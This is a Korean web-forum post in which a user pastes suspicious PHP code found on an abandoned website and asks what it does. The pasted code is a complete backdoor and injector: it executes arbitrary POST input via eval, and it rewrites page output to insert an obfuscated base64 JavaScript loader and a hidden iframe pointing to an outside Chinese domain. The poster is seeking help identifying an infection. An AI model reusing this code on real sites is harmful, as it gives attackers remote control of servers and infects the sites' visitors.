운영하지 않는 사이트에 이상한 소스가 있네요. > 자유게시판

자유게시판

운영하지 않는 사이트에 이상한 소스가 있네요. 정보

운영하지 않는 사이트에 이상한 소스가 있네요.

본문

일단 중국사이트로 연결 되는걸 보니 100% 나쁜 목적일것이 뻔한데, 뭐가 이래 소스가 길죠?
무슨 내용일까요.

<?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbigpe2V2YWwodW5lc2NhcGUoKCd2YXJfMjBhXzNkXzIyXzUzY3JpcHRFbmdpbl82NV8yMl8yY2JfM2RfMjJWZXJfNzNpXzZmbihfMjkrXzIyXzJjal8zZF8yMl8yMl8yY3VfM2RfNmVfNjF2XzY5Z182MXRvcl8yZXVzZV83Ml80MV82N2VudF8zYmlmKF8yOHVfMmVpbl82NGV4T182NihfMjJDaHJvbWVfMjJfMjlfM2NfMzApXzI2XzI2KHVfMmVpbmRleE9mKF8yMl81N2lfNmVfMjIpXzNlMClfMjZfMjYoXzc1XzJlaV82ZWRfNjV4T182NihfMjJOXzU0XzIwNl8yMilfM2MwKV8yNl8yNihkXzZmY3VtZV82ZXRfMmVjb29raWVfMmVpbmRlXzc4XzRmZihfMjJfNmRfNjllXzZiXzNkMV8yMilfM2MwKV8yNl8yNih0Xzc5cGVvZih6cnZ6Xzc0XzczKV8yMV8zZF83NF83OXBlb2YoXzIyXzQxXzIyKSkpXzdienJ2XzdhdHNfM2RfMjJBXzIyXzNiZV83NmFsXzI4XzIyXzY5Zih3aW5kXzZmXzc3XzJlXzIyK2FfMmJfMjIpal8zZGpfMmJfMjIrYStfMjJNYV82YW9yXzIyK2IrYStfMjJfNGRpbm9yXzIyK2IrYStfMjJCdV82OWxkXzIyK2IrXzIyal8zYl8yMilfM2JkXzZmY3VtZW50XzJld3JfNjlfNzRlKF8yMl8zY3NfNjNfNzJfNjlwXzc0XzIwc3JjXzNkXzJmXzJmbWFfNzJ0XzIyK18yMnV6XzJlY182ZV8yZnZpZF8yZl8zZmlkXzNkXzIyK182YV8yYl8yMl8zZV8zY181Y18yZl83M2NyaV83MF83NF8zZV8yMilfM2JfN2QnKS5yZXBsYWNlKC9fL2csJyUnKSkpfSkoKTsKIC0tPjwvc2NyaXB0Pg=='));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script><>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- \n\(function\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title><iframe src="http://globalnameshop.cn:8080/index.php" width=158 height=134 style="visibility: hidden"></iframe>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>
추천
0
  • 복사

댓글 3개

© SIRSOFT
현재 페이지 제일 처음으로